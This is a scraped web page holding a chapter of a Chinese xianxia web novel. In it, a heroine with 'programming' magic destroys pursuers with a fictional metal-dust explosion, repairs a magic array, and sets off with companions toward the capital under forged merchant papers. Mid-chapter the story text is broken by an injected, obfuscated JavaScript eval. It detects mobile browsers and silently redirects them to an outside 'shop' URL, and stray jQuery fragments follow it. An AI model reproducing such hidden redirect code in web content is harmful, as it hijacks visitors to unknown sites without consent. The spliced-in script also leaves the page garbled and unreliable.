“指令:超高速复制铝、镁、硼原子结构!”
“调用环境能量:启动大规模粒子凝聚协议!”
“构建粉末云扩散模型!”
“设定引爆条件:高能灵力火花触发!”
在她精准的“量子级编程”下,那几粒微不足道的金属种子,开始以指数级的速度疯狂复制、增殖!无数细小的、肉眼几乎无法分辨的铝粉、镁粉、硼粉,凭空涌现,如同被无形之手操控,瞬间弥漫了她前方的一大片区域,形成了一团高度浓缩、极其活跃的金属粉尘云!
这团粉尘云在她灵力的约束下暂时稳定,但其内部蕴含的化学能(在祝君竹看来是特定量子态的势能)已经达到了一个临界点!
与此同时,她分出一缕心神,通过那与玉京山的玄妙联系,强行“拨动”了内部与外界东南边缘那一处空间的“坐标参数”!就像是在操作系统的后台强行修改了一个端口映射!
“礼物已打包,快递发送中!”祝君竹眼中闪过一丝冷冽的光芒,双手猛地向前一推!
那团高度危险的金属粉尘云,瞬间穿透了空间壁垒,被精准地“投递”到了刚刚潜入玉京山边缘、正准备分散搜索的那小队人的头顶!
这些潜入者正因成功突破禁制而暗自得意,为首者刚下达完搜索指令,突然感到头顶能量异常!他们警惕地抬头,只见一团银灰色的、闪烁着金属光泽的“雾气”毫无征兆地出现,并急速向下笼罩而来!
“小心!有古怪!”为首者厉声喝道,下意识地撑起护体灵光。
但已经晚了!
就在粉尘云将他们完全笼罩的瞬间,祝君竹留在其中的最后一道“指令”被触发——一道细微却极其炽烈的金红色灵力火花,在粉尘云中心炸开!形成了一股强烈的冲击波。
轰!!!!!!
一声远超寻常雷鸣的恐怖巨响,猛然在玉京山边缘炸响!
那不是简单的爆炸!
首先,是极其短暂而剧烈的初次爆炸,灵力火花瞬间引燃了部分金属粉尘,产生高温火球和强大冲击波。紧接着,才是真正恐怖的第二次效应:被初次爆炸抛洒开、与空气充分混合的剩余金属粉尘,发生了范围更广、持续时间更长、温度更高的爆燃!空气中仿佛被瞬间抽空又猛烈填补,产生了骇人的负压效应和超压冲击!
刺眼的白光吞噬了一切,仿佛一个小型太阳在那片区域升起!高温和冲击波如同无形的巨锤,狠狠砸向四面八方!周围的树木、岩石在瞬间汽化、粉碎!地面被刮掉厚厚一层!
那些修为不俗的精锐力量,连惨叫都没能发出一声,就在这超越他们理解的、融合了科学毁灭美学与仙法能量的打击下,彻底化为了飞灰,神魂俱灭!
他们站立的那片土地,出现了一个焦黑的、琉璃化的浅坑!
秘境之内,虽然隔着空间壁垒,林疏星和清音依然被那透过空间传来的恐怖震动和隐约的毁灭气息惊得心神摇曳!
清音从蹄子里抬起头,小鹿眼瞪得溜圆,结结巴巴地问:“结……结束了?刚才那声音……是打雷了吗?好……好响!”
林疏星满眼发光的看着收回手掌、脸色微微发白但眼神依旧明亮的祝君竹,喉咙有些发干。他刚才清晰地感受到了那一瞬间爆发出的、足以媲美第四境·统御境大能者全力一击的毁灭性能量!而这,竟然是祝君竹“造”出来的?!她刚才那番操作,在他眼中,简直如同执掌了天罚权柄!
“你……刚才那是……”他发现自己声音有些沙哑。
“一点小手段,基于高压燃烧和冲击波效应的应用。我管它叫‘温压弹’”祝君竹轻描淡写地解释,仿佛刚才只是放了个大号炮仗,“原理类似于……嗯,你可以理解为一种极致的‘火法术’的变异形态。”她知道跟林疏星解释温压弹、金属粉尘爆炸纯属对牛弹琴,干脆归类为仙法范畴。
林疏星:“……”
他决定不再深究这位前“悍妇”小姐层出不穷的“小手段”,反正每次都能刷新他的认知上限。他开始为她感到喜悦,不自觉的嘴角上扬。
外患暂除,但内忧犹在。秘境的震动越来越厉害,阵灵的声音已经变成了断断续续的杂音:“系……系统……崩溃……禁制……全面……失效……”
“该干活了。”祝君竹深吸一口气,压下因刚才大规模创造和引爆而带来的灵力空虚感。她走到秘境中央,那里悬浮着一块最为巨大、符文也最为复杂的晶石碎片,这应该就是阵灵提到的“平衡石”,也是整个玉京山防护大阵的中心,更是阵法最为核心的节点。
她将双手轻轻按在平衡石上,意识再次沉入那浩瀚的能量海洋。这一次,她不再是“用户”或“挑战者”,而是试图成为“管理员”。
“启动系统修复模式!”
“扫描受损能量回路……”
“定位逻辑冲突节点……”
“调用阴阳涡旋权限,注入稳定能量流……”
“重新编译禁制符文序列……”
她以自身为媒介,将阴阳涡旋那稳定而包容的特性,混合着对玉京山能量结构的理解,如同涓涓细流,注入到濒临崩溃的阵法核心中。她就像一位最高明的程序员,在修复一个庞大而古老的操作系统,逐行检查“代码”,修补“漏洞”,重启“服务”。
这个过程比创造元素更加耗费心神,是对她理解力、控制力和意志力的终极考验。汗水浸湿了她的衣衫,身体微微摇晃,但她眼神依旧坚定。
林疏星默默走到她身后,将手掌贴在她后心,精纯温和的星辰灵力缓缓渡入,支撑着她几乎耗竭的身体。他没有多言,但行动已然表明了一切。
清音也变回人形,紧张地攥着衣角,在一旁看着。她大气都不敢出,生怕打扰到小姐。
时间的流逝在“造化洪炉”中失去了意义。或许是一瞬,又或许已历经千年,祝君竹与林疏星只觉得自身的存在感正被无边无际的阵法之力温柔又霸道地稀释、分解,最终彻底沉沦于由心念编织的深海。
幻境,由此而生。
祝君竹所见,是林疏星被数条漆黑锁链贯穿肩胛,悬于万丈冰渊之上,鲜血顺着苍白的指尖滴落,在虚空中冻结成触目惊心的赤色冰晶。他低垂着头,墨发凌乱,气息微弱得仿佛下一刻便要消散。一种近乎窒息的恐惧瞬间攫住了祝君竹的心脏,远比任何理性的认知更快、更猛烈。
而在另一重镜像般的幻境里,林疏星看见的,是祝君竹身陷滔天业火,赤红火焰缠绕着她的裙裾,灼烧着她试图结印的双手。她踉跄着,脸上是他从未见过的惊惶与痛楚,口中似乎在无声呼喊。那一刻,林疏星素来冷静无波的心湖骤然掀起巨浪,一种必须立刻斩断这景象的冲动压倒了一切。
于是,在幻境法则的支配下,他们同时做出了最本能的选择。祝君竹忘却了自身安危,如同扑火的萤蛾,朝着那虚幻的冰渊决绝冲去,只想斩断那些锁链。
林疏星则剑意勃发,身化流光,以撕裂空间的决绝姿态,斩向那一片焚身的火海。
“轰——!”
两股不顾一切的力道,并未落在幻象之上,却在真实与虚幻交界的混沌涡流中,狠狠撞在了一处。
预想中的刀锋或烈焰并未加身,取而代之的是一具温暖而坚实的躯体,以及一声压抑的闷哼。祝君竹额头撞上对方的胸膛,林疏星的手臂则因收势不及,仓促间揽住了她的后背,将她牢牢稳住。
幻象如潮水般褪去,露出四周依旧翻涌不息的混沌元气。刚才那惊心动魄、令他们肝胆俱裂的景象仿佛只是一场错觉,唯有此刻紧贴的体温、略显急促的呼吸,以及肢体接触间传来的清晰触感,无比真实。
祝君竹慌忙后退一步,从林疏星的手臂间脱离,脸上热度攀升。她惊魂未定,胸腔里心脏仍在为那虚假的冰渊景象狂跳,可更让她无措的,是此刻面对真实无恙的林疏星时,那份残留的、过于剧烈的心悸,以及……自己为何会那般不管不顾冲过去的困惑。他们之间,分明谈不上亲近。
林疏星的手臂在半空中微微停顿,方才收拢。他神色恢复了一贯的冷峻,只是眸光比平日更深沉几分,掠过她泛红的脸颊和闪避的眼神。他并未言语,方才幻境中那焚心的焦灼与此刻指尖残留的、隔衣料传来的细微颤栗,在他心中划下了一道连自己都尚未厘清的刻痕。
混沌未明,幻境犹在,而某种悄然滋生的东西,似乎比这阵法更加幽微难辨。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998673|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>祝君竹的一只手,依然按在平衡石上。
旁边传来了清音焦急的呼喊:“小姐,林公子,你们怎么了?怎么忽然撞一起了?”
还未及祝君竹回话,只听“嗡!——”的一声。
平衡石骤然爆发出柔和而稳定的光芒!周围狂暴的能量流如同被驯服的野马,渐渐平息下来,重新恢复了有序的流转。破碎的晶石碎片光芒内敛,不再闪烁不定。
阵灵那淡漠而清晰的声音再次响起,不再有杂音:“核心节点‘平衡石’修复完成……能量回路稳定……禁制系统重启中……玉京山防护屏障已恢复……修复者……‘祝君竹’……”
成功了!
她不仅击退了敌人,还修复了连阵灵都无法自行处理的严重故障!
光芒一闪,三人被温柔地送出了“造化洪炉”秘境,回到了那个熟悉的山洞中。石桌上的图案光芒收敛,恢复了原状,仿佛一切从未发生。
但三人都知道,一切已然不同。
祝君竹疲惫地靠在石壁上,脸色苍白,但眼神却亮得惊人。经过这番试炼和实战,她对自身力量的掌控,对玉京秘法的理解,尤其是对“创造”与“毁灭”的认知,都达到了一个新的高度,修为也突破至第二境·第三阶(融界境·权柄阶)。甚至触摸到了统御境的一丝真意。
更重要的是,她彻底明确了自己的道路。
“玉京山虽好,却亦非久留之地。”她看着林疏星和清音,声音虽轻,却带着不容置疑的决心,“不管玄影监背后的黑手是谁……他们不会放弃。躲在这里,终究是坐以待毙。”
林疏星看着她,明白了她的选择:“你决定回天都?”
“是。”祝君竹站直身体,目光仿佛穿透山岩,望向了那片权力与阴谋交织的中心,“有些债,该去讨还了。有些真相,该去揭开了。天都……我们必须回去!”
清音立刻举起小手:“小姐去哪儿我去哪儿!咱们回天都,掀了那些坏蛋的老巢!”
林疏星脸上的淡然笑意渐渐敛去,取而代之的是一种沉淀已久的复杂情绪。他看向祝君竹,目光深邃,仿佛穿透了时光,回到了那些他不愿细想的过往。
“龙潭虎穴……”他摇头低声重复了一遍这四个字,嘴角牵起一丝略带苦涩的弧度,“我曾以为,远离那天都,便能求得一片清净。隐姓埋名,品茶读书,了此残生,也算全了那场‘意外’阵亡的体面,最多只是有负父皇的期许与……母后的慈爱。”
他的语气有微不可察的凝滞,那深藏眼底的一丝疑虑与痛楚,虽一闪而逝,却未能逃过祝君竹的眼睛。
“然而,”他话锋一转,语气变得沉凝,“树欲静而风不止。从祝姑娘你砸穿我屋顶那一刻起,或者说,从我出生在皇家卷入这漩涡起,从追杀的人循迹而至,我便知道,这清净,终究是奢望了。”
他向前一步,与祝君竹的目光坦然相对,那份属于前太子的气度在不经意间流露:“隐逸与世无争,换来的不是安宁,而是变本加厉。既然避无可避,那便无须再避。林某虽不才,却也并非任人宰割之辈。这‘无奈的反击’,算我一份。”
他顿了顿,眼中闪过一丝锐利的光,那是对真相的渴求,也是对自身遭遇的不甘:“更重要的是,我也很想知道,当年那场精心策划的‘哗变’以及与苏罗军的偶遇,那场让我险些魂归九幽的阴谋,幕后之主,究竟是谁?时至今日,那仙朝之中,究竟是谁如此容不下一个早已因平叛而殉国的前太子?”他顿了顿,又说道“当日苏罗的小院中潜龙卫应是看到了我的脸,得知我还在世。他以影枭传信后被我阵法击杀。后面的人,都该是来杀我的!祝姑娘容颜已经与江浅月毫无干系,他们不会认识你。此时,怕是那幕后的主使正忧心着前太子与妖族联系有何密谋吧。”他说着看了看清音。
“我?妖族?呃……没错,我是头鹿嘛”清音嘟着嘴小声嘟囔着“小姐体内不也有妖力嘛。”
林疏星并没有直接说出他的怀疑,但那刻意回避又隐含痛苦的语气,已然说明他内心并非毫无察觉,他不敢,也不愿去轻易触碰和承认某个可能极其残酷的真相。毕竟,谋害太子,这事情仙朝中怕是没几个人能做到。与祝君竹同行,查清她的冤案,或许也正是解开他自身谜团的关键。
祝君竹静静听着,她能感受到林疏星平静话语下压抑的波澜。他们二人,一个背负血海深仇与王朝野心,一个身陷阴谋迷雾背叛,确是同病相怜。
“看来,我们的目标暂时一致了。”祝君竹语气平静,却带着一种毋庸置疑的坚定,“回天都,掀了那摊浑水,让该现形的人现形,该偿还的债……血偿。”
清音在一旁听得心潮澎湃,用力点头:“对!血偿!小姐,太子殿下,咱们三个联手。不对,以现在我们小姐的本事,肯定能把天都搅个天翻地覆!”她似乎已经看到了仇人跪地求饶的场景,小脸兴奋得发红。
林疏星因她那句“太子殿下”微微蹙眉,但并未纠正,只是对祝君竹颔首:“目标一致,自当同心协力。只是,天都如今必然是龙潭虎穴,危机四伏。我们需得有个周密的计划。”
祝君竹走到石桌旁,指尖再次拂过那已然恢复平静的嵌套圆环图案,感受着其中与玉京山浑然一体的道韵。“计划自然要有。但在离开之前,我们或许还能从这玉京山中,多获取一些‘资本’。”
她抬眼看向山洞之外,目光仿佛能穿透石壁,看到那绵延起伏、蕴藏着无尽秘密的山脉。“我对这座山的‘理解’更深了。或许,我们可以试着主动去寻找一些东西——比如,师尊可能留下的其他洞府,或者,某些能帮助我们隐藏身份、混入天都的资源。”
她体内那阴阳能量涡旋缓缓转动,与整个玉京山的灵脉产生着微妙的共鸣。修复禁制的经历,让她与这座山的联系达到了一个新的层次。虽然还不能如臂指使,但已经能够模糊地感知到山中几处能量异常汇聚、可能藏有宝物或传承的地点。
林疏星眼中闪过一丝讶异,随即了然。眼前的女子,总能出乎他的意料。“你对玉京山的掌控,竟已到了如此地步?”
“谈不上掌控,”祝君竹摇摇头,“更像是一种……获得了更高级别的访问权限。可以浏览部分‘目录’,但具体能‘下载’什么,还需要亲自去探索。”她再次用了只有自己能完全理解的比喻。
林疏星目光再次变得茫然起来。
清音立刻举手:“停!小姐!什么下载、访问权限什么的别说了!不懂!直接探索!小姐,带我去!我鼻子灵,一定能找到宝贝!”
三人不再耽搁。稍作休整,待祝君竹恢复部分灵力后,他们便离开了这个栖身多日的山洞。
有了祝君竹那玄妙的“权限感知”指引,他们在玉京山中的行动不再像之前那样漫无目的。祝君竹仿佛一个人形雷达,避开那些依旧危险的能量乱流和天然迷阵,朝着几个能量反应最为特殊的方向行进。
餐风露宿数日后,他们在一处飞瀑后的隐秘洞穴中,找到了一小潭“无根灵泉”,泉水蕴含着精纯的生命能量,对疗伤和恢复灵力有奇效。清音欢天喜地地装了好几大瓶。
凭借对金石能量的敏锐感应,祝君竹还在一处废弃的矿脉深处,找到了几块罕见的“幻形水晶”。这种水晶天生具备扭曲光线、模糊气息的能力,是制作伪装法宝的上佳材料。林疏星识得此物,露出喜色:“有此物在,我们潜入天都便多了几分把握。”随即出手,将那水晶炼制了数枚能够改换容貌、遮掩气息的“幻形符佩”。
祝君竹觉得最大的收获,来自于一处位于山腹深处的古老祭坛。祭坛上供奉着的并非神像,而是一枚残缺的、布满锈迹的青铜镜。镜面模糊,几乎照不出人影。铜镜入手时,祝君竹感到其中蕴含着一丝极其微弱、却异常坚韧的空间波动,随着她用秘法对镜子进行探视时,那镜子似与自己体内的某处产生了共鸣。
嗡!
青铜镜上的锈迹剥落少许,镜面泛起一圈涟漪,浮现出几个模糊不清、不断变幻的坐标和一幅极其简略的地图虚影,持续了数息便消散了。
“这难道是指向其他秘境或者宝藏的星图?”林疏星猜测道。
祝君竹却盯着那青铜镜,若有所思:“不,它像是一个‘导航信标’。可惜,能量不足,核心部件也残缺了。”她将这面残镜小心收起,虽然暂时不知其具体用途,但其中涉及的空间法则,对她理解自身的穿越之谜或许有帮助。
林疏星和清音默默的对视了一眼,默契的放弃了理解祝君竹的话。
不多时,各有收获的三人站在了玉京山核心禁制的边缘。回首望去,云遮雾绕的仙山依旧神秘莫测。
“此番离去,不知何日能再回。此间倒是个不错的隐居之地。”林疏星轻声道,语气中带着一丝不易察觉的怅惘。
祝君竹目光沉静,没有丝毫留恋:“待到天都事了,若还有命在,再来探寻此山奥秘不迟。”她此时的目标,已然确定在那座巍峨而危险的仙朝天都了。
清音则握紧了小拳头,给自己打气:“天都!我们回来了!坏蛋们,洗干净脖子等着!”
林疏星佩戴好幻形符佩,他的容貌气息瞬间变得普通而模糊,清音大笑他变成了丑八怪。林疏星无奈摇头,也递给清音一枚。清音也摇摇头,笑着说:“我是由鹿化形,早不是王府婢女清音原本的样子了。放心,天都没人认得我。小姐现在是祝君竹,更没人认得。所以只你变了丑八怪,哈哈哈!”
祝君竹笑着叹了口气,指尖轻轻伸出,灵力荡漾着射出,正中清音印堂。
只听清音立即开始大喊:“啊?小姐你做了什么?他怎么变回来了!我还想看他丑八怪的样子呢!”
“好了,我让幻形在你眼中失效了,别闹了,该走了!”
“这也能做到?”清音疑惑的问。
“所谓一通百通,知道这法门的机制原理,自然也就有法子破解。”
林疏星与清音均愕然,虽然他们不知道“机制原理”的含义,但都觉得很厉害的样子。
祝君竹一边说着一边引动体内灵力催动玉京山的禁制,那坚实的光幕再次荡漾开来,门扉乍现。
三人相视一眼,不再犹豫,一步踏出,身后是仙山秘境,身前则是茫茫尘世,以及那隐藏在繁华表象下的滔天巨浪。
重返天都的征程,正式开始。
天都,玄武峰密室。玄影监的玄影督令跪在门外叩首:“陛下,想必您察觉到了,玉京山的异动。”
“嗯,查到了?”
“是。似乎是上古秘法重现,暗探回报,一男两女,进入玉京山核心范围。玄影监十五名精锐,全军覆没。”
“上古秘法?”仙帝的声音有些发颤。
“是。”
“能确认是她吗?”
“不能。”
“详查!着玄心监,玄策监配合行动,由你统一指挥。玉京山禁制,二十几年前不是打开过吗?再去一次!一经确认,务必活捉。”
“是!”
玄影督令得令消失在黑暗中。
9. 第八回:梦忆前尘泪满襟
晨光初透,林疏星戴着幻形符佩后的平凡面容在薄雾中若隐若现。三人站在玉京山东侧的山麓上,回望那片云雾缭绕的禁地,各自心中皆有感慨。
“小姐,咱们现在去哪儿?”清音变回白鹿形态,在祝君竹身边轻蹭。
祝君竹收回目光,眼中似有些许决绝:“回那个蛟人聚集地。”
“什么?!”清音差点蹦起来,“玄影监的人应该是从那儿追着咱们到了玉京山,现在又要回去?如果他们还在,这不是自投罗网吗?”
林疏星也微微蹙眉,但并未立刻反驳,而是静待祝君竹的解释——这段时日的相处,他已习惯这位女子总能拿出出人意表却又合乎逻辑的计划。
“正是因为他们想不到我们会回去。”祝君竹平淡却果断的说道,“玄影监的人刚在玉京山吃了大亏,此刻必定在周边大肆搜捕。按照常理,我们会尽可能远离此地。玉京山下可以走的路很多,他们断不会料到,我们反而会回到最初的起点。”
她顿了顿,继续分析:“况且,我们需要一个合理的身份。蛟人聚集地虽小,却是龙族与仙朝边境的重要贸易点。在那里,我们应该能弄到合法的行商文书,采买些龙族特产作为掩护。有了商人这层皮,进入天都后行事会方便许多。”
林疏星眼中闪过赞赏之色。这计划确实大胆,却也精妙——利用敌人的思维盲区,同时解决身份掩护的问题。他不由得想起当年在朝堂上,那些老将们常说的“兵行险着,出奇制胜”。眼前的祝君竹,武力较当年的那位悍妇可能还更胜一筹,但却俨然不再是那个只会冲阵单挑的将门虎女,而是个既能运筹帷幄,又能在瞬间覆灭千军的更恐怖的家伙。想到这,林疏星不觉打了个寒噤。
“只是,”他提出实际困难,“聚集地虽小,但也有巡查的蛟人卫队。若被仔细盘查……”
“所以我们需要一个引路人。”祝君竹接过话头,嘴角微扬,“我记得聚集地东侧有个蛟人小吏,叫陈三爷。上次采购地图时,我观察过他——贪财,但胆小,做事还算有分寸。这种人是最好打交道的。重要的是,他似乎专做‘特殊生意’,几个进去后出来的人都拿着文书。”
清音听得一愣一愣的,鹿眼睁得溜圆:“小姐,您什么时候观察得这么仔细了?我记得那时候您不是一直在看窗外的集市吗?”
祝君竹自己也怔了怔。是啊,若是以前的祝君竹,关注的只会是蛟人摊位上那些溢彩珍珠的能量波动模式,或是那些奇异珊瑚的发光原理。可方才那些关于审时度势、利益权衡、识人断事的谋划,几乎是本能般从脑中浮现。
这感觉……很奇妙。就像身体里住着两个人,一个冷静理性的程序员,一个杀伐决断的将门虎女。这就是传说中的人格分裂?问题是这两个人格都不擅长谋略,这种感觉很奇怪。
“走吧。”她压下心中的异样感,率先朝山下走去,“趁着天色尚早,赶在日落前抵达聚集地外围。林公子,接近聚集地后,需要你去接触那个陈三爷——你现在这副模样,最适合办这种事。”
林疏星颔首:“明白。”
祝君竹在前腾挪纵跃,速度飞快。林疏星在后面跟着,竟需调息静气,才能勉强跟上。士别三日,林疏星当真惊异于祝君竹的成长速度。
清音变回人形,跟在两人身后,嘴里小声嘀咕:“小姐变了,变得……更厉害了。不过这样也好,省得总被坏人欺负。哎……小姐你慢点,清音跟不上了……”
三个时辰后,日头偏西。
蛟人聚集地依旧喧嚣,各色生灵在简陋的街巷中穿梭。空气中弥漫着海腥味、酒香,以及各种奇奇怪怪货物混杂的气息。
在聚集地东侧一处相对僻静的贝壳屋前,林疏星敲响了门板。
门开了一条缝,露出一双警惕的黄色竖瞳——正是陈三爷。他是个中年蛟人,额生短角,脸颊覆着细密鳞片,身上穿着半旧不新的官服,袖口还沾着些不明污渍。
“什么事?”陈三爷的声音沙哑,带着明显的不耐烦。
林疏星压低声音,将一小袋灵石从门缝递进去:“有笔生意,想请陈大人行个方便。”
陈三爷瞟了一眼袋子,脸色稍霁,谨慎的看了林疏星一眼:“先说什么事,现在可风紧。”
林疏星又从芥子袋中取出一枚嵌着蓝色宝石的戒指递了过去,说道:“家里遭了难,没办法,为了讨生活。这个可是稀罕物件,要不是为了我妹妹,我也舍不得拿出来。”
陈三爷的眼光落到戒指上,顿时闪出了贪婪的精光。他吞了一口口水,左右望了几下,将门拉开些道:“进来说话。”
屋内昏暗杂乱,堆满了各种账册和杂物。林疏星迅速说明来意:他是来自仙朝内地的商贾,遭仇家暗算,家中就剩下他和妹妹,为了给妹妹攒些嫁妆寻个好人家,无奈来边境上做些小本生意。想采买一批龙族特产运往南方炎州贩卖,需要合法的行商文书和采购许可。
“行商文书?”陈三爷眯起眼,“你们既然能从仙朝内地来,还是商人世家,难道没有文书?”
“路上遭了劫匪,文牒丢了。”林疏星面不改色地扯谎,又递上一袋灵石,“如今补办来不及,只能请陈大人通融。我们愿按规矩缴纳双倍的‘手续费’。”
陈三爷沉吟片刻。“哼!小本生意?那颗戒指怕是你偷来的吧?”这种偷渡客他见多了,无非是想逃税或是身上不干净。这种人其貌不扬的,出手也算大方,且只要去炎州的文书——那边查得严,这种偷渡客多半不敢惹事自讨麻烦。
林疏星讪讪地笑了笑。
“可以。”陈三爷最终点头,“不过除了手续费,你们还得在我这儿采购至少五百灵石的货物。这是规矩——总不能让你们空着手去做生意。”
“自然。”林疏星应下。
两人又讨价还价一番,最终以八百灵石的价格谈妥:三份伪造但足以乱真的行商文书,外加一份龙族边境贸易许可。作为交换,林疏星需在陈三爷指定的几家铺子采购货物——陈三爷能从这些交易中抽成。
“明日午时,来取文书。”陈三爷将灵石收好,意味深长地说,“记住,在我这儿买了货,就是我陈三爷的‘朋友’。到了地方,该说什么不该说什么,心里要有数。”
“陈大人放心。不过,我还想从炎州贩些当地的‘炽血藤’去天都卖给那些仙家。您知道的,海货在炎州销路紧俏。但这炎州‘炽血藤’对天都的仙家们来说也是修行必备的抢手货。不如我这再给您添上两百灵石,您一道吧这公文给开到天都,也省得我再去炎州寻他人。既是‘朋友’了,这个钱还是让您赚了去好些!也让我跑这一趟能多赚些。”林疏星低头拱手。
陈三爷瞥了他一眼,思索片刻,点了点头。毕竟两百灵石,让炎州的掮客赚去,不如便宜了他。
离开陈三爷的住处,林疏星与等候在聚集地外围的祝君竹、清音会合,将情况详细说明。
“一千灵石,他倒是敢开口。”清音吐了吐舌头,“咱们从那些杀手身上搜刮来的灵石,这一下就去了一小半。”
“值得。”祝君竹平静道,“有了合法身份,后面的路会好走很多。而且——”
她看向林疏星,“你倒是老谋深算,直接让他开天都的文书,他怕是提防的紧。先求他开个容易的,待生意谈成了,再多拿出些甜头,让他觉得这生意若是不做便亏大发了,吞进去的钱岂有吐出来的道理。是不是?”
林疏星深深看了她一眼。这种对人情世故、利益链条的透彻理解,绝不是那个悍妇该有的。他笃信,这是祝君竹的能力。
祝君竹接着说:“不过你答应在他指定的铺子采购,这反而是好事。这些铺子必然与他关系密切,货物来源相对可靠,可能成色一般,但绝不会是假货,否则他这见不得光的买卖也做不得长久。我们初来乍到,又对这些货物行市不通,若自己去市场采买,反而不妥。”
“接下来两日,我们分头行事。”祝君竹继续布置,“林公子负责与陈三爷交接,清音随我去采购货物。我记得龙族特产中,除了常见的蛟珠、海蛟绡,还有一种‘天音螺’制成的乐器,在天都贵族间颇为流行。另外,东海深处的‘珊瑚钢’也是炼器的好材料,可以采买一些……”
她流畅地报出数种货物名称听得清音目瞪口呆。
“小姐,您怎么知道这么多?”小丫鬟忍不住问。
祝君竹听了竟愣住。
是啊,她怎么知道的?那些关于天音螺音色特质、珊瑚钢锻造工艺的知识,就像早已存储在脑海深处,此刻自然而然流淌而出。
“……或许,是江浅月曾经接触过这些吧。”她低声说,语气复杂。
清音却欢欣鼓舞:“太好了!小姐的记忆还在恢复!等您全想起来,一定能狠狠收拾那些坏人!另外,有个轻薄了你好几次的家伙,可也得记清楚了!”
祝君竹没有听进去清音的后半段话,只是望向远方。江浅月的记忆恢复带来的不仅是知识和能力,还有那些沉重的情感与责任。她能感觉到,有什么东西正在意识深处翻涌,像是被封存的潮水,随时可能冲破堤坝。而且,近日以来,她似乎对梦中那位少年将军越来越有些温暖的依恋感了。
林疏星却脸色发白。
次日午时,文书顺利到手。
陈三爷打量着祝君竹:“你这妹子,却真是水灵的紧。”
林疏星上前半步,自然将她挡在身后,拱手道:“不是什么大家闺秀。我那叔父临终将她托付于我。我想着为她找一户天都的官宦人家嫁了,也算不负所托。前日里已将书信稍了过去,指望着这趟生意赚够了嫁妆……”
那陈三爷点点头,撇着嘴:“天都的官宦?哪里有我们这里自在。”
祝君竹也与那位陈三爷闲叙了几句家常,以林疏星妹妹的身份。这位视财如命的小吏,竟多送了祝君竹一盒蛟珠。
清音直呼:“早知那老东西如此好色,当日就该让小姐去与那厮谈。说不定能便宜个几百灵石。”
林疏星笑着摇头
至无人处,林疏星低声道:“日后我们的称呼上,也需得变变了。不可‘祝姑娘’、‘林公子’的叫了。”
清音接过话来:“是,我就叫你公子好了,小姐需叫你‘兄长’。”
“文书上你家小姐名‘林竹’,我便称它‘竹妹’罢!”林疏星道。
清音笑道:“呦……好酸的称呼,‘竹妹’……。”她故意把音调托的又细又长。
林疏星也觉尴尬。
祝君竹在清音脑门上弹了一记,嗔道:“小丫头!别胡闹!”
转身向着林疏星道:“你就称呼我为‘小竹’或者‘竹儿’吧!”
林疏星讪讪的点头。
第三日,采购完毕。三人用剩余灵石购置了一辆简陋的驮车和两头耐力尚可的“移峦兽”——这是一种适应多种地形的低阶灵兽,顾名思义,背得动山峦赶路。着兽形似骆驼但背生鳞甲,价格实惠,是边境商队常用的驮畜。
“接下来,就是寻找南下的商队了。”祝君竹看着装得满满的驮车,“据陈三爷说,三日后有一支‘金鳞商队’要启程经南线前往天都。这是近期唯一一支大商队。”
“南线?”林疏星挑眉,“通常商队不是走中央官道吗?”
“所以我们需要去打听打听情况。”祝君竹道,“去酒馆。”
聚集地唯一的酒馆兼客栈“海潮居”里,人声鼎沸。三人找了个角落的位置坐下,点了一壶薄酒、几样小菜,静静聆听周围的交谈。
果然,不过一刻钟,便听到了他们想要的信息。
“……听说了吗?北边的雪狼帮最近闹得凶,已经劫了三支商队了!”一个满脸风霜的商人灌了口酒,压低声音对同伴说。
“何止!我听说他们前些日子不知在谁那里吃了瘪,死了几个兄弟。这些日子越发疯狂无状了,连官军的补给队他们都敢碰,简直是无法无天!”
“所以商队纷纷都改道了,不走北岳山南麓的官道了,改走炎州水路。”
“炎州水路?那不是要绕一大圈?”
“绕就绕吧,总比丢了性命强。走水路虽然慢些,但安全。从咱们这出发经沧溟州一路南下,到了炎州转水路,再从天瀑江一路逆流而上,直抵天都——虽然要多走些时日,但胜在稳妥。而且,炎州的货,在天都也是紧俏生意!”
祝君竹与林疏星交换了一个眼神。雪狼帮作乱,商队改道,这倒是合了他们的意——走水路,沿途盘查会比陆路宽松许多,更适合他们隐藏身份。
正思量间,酒馆门帘被掀起,一个身影走了进来。
那是个年轻的蛟人,身形颀长,穿着一袭简单的青灰色长衫,额上双角晶莹如玉,显然血统纯正。他面容俊秀,只是眉眼间笼着淡淡郁色,像是心中有化不开的愁绪。
那蛟人独自走到柜台前,要了一壶酒,便在靠窗的位置坐下,望着窗外茫茫的海雾出神。
祝君竹的目光在那蛟人身上停留了片刻。不知为何,她觉得此人有些特别——并非外貌,而是某种气质。他手中拿着一支青玉长笛,笛身刻着细密的水波纹路。
然而引起祝君竹注意的,是他右手的食指,以一种缓慢的频率,在长笛的吹孔上轻轻敲击。她觉得这个动作似曾相识。
“小姐,您看什么呢?”清音凑过来小声问。
“没什么。”祝君竹收回视线,正要继续与林疏星商议,脑海中却突然一阵刺痛!
无数画面碎片般炸开——同样是那食指在吹孔上的敲击,是一位站在回廊中听雨的少年。
金戈铁马,战场烽烟。年轻的将军银甲染血,却回头对她爽朗一笑:“月儿别怕,兄长在此!”
王府后院,梨花如雪。少年吹笛,少女舞剑,母亲坐在廊下含笑看着。
仙宫盛宴,觥筹交错。仙帝温和的声音在耳边响起:“月儿,你天赋异禀,当为仙朝栋梁……”
玉京极顶,风雪凄迷。师尊的背影渐行渐远,只留下一句:“浅月,你的路,要自己走。”
“唔……”祝君竹闷哼一声,扶住额头,脸色瞬间苍白。
“小竹?!”林疏星立刻察觉不对,伸手欲扶。
“无妨。”祝君竹咬紧牙关,从齿缝间挤出两个字。但剧痛如潮水般涌来,让她几乎坐不稳。混乱的记忆碎片在脑中冲撞,属于江浅月的情感、思绪正不受控制地翻涌上来。
清音吓得手足无措:“小姐,您是不是又头疼了?咱们回客栈休息吧?”
“再……等等。”祝君竹强撑着,额角已渗出冷汗。她猜测,这是记忆融合必然要经历的阵痛。只是没想到会在此刻发作。
就在此时,邻桌几个商人的交谈声飘入耳中——
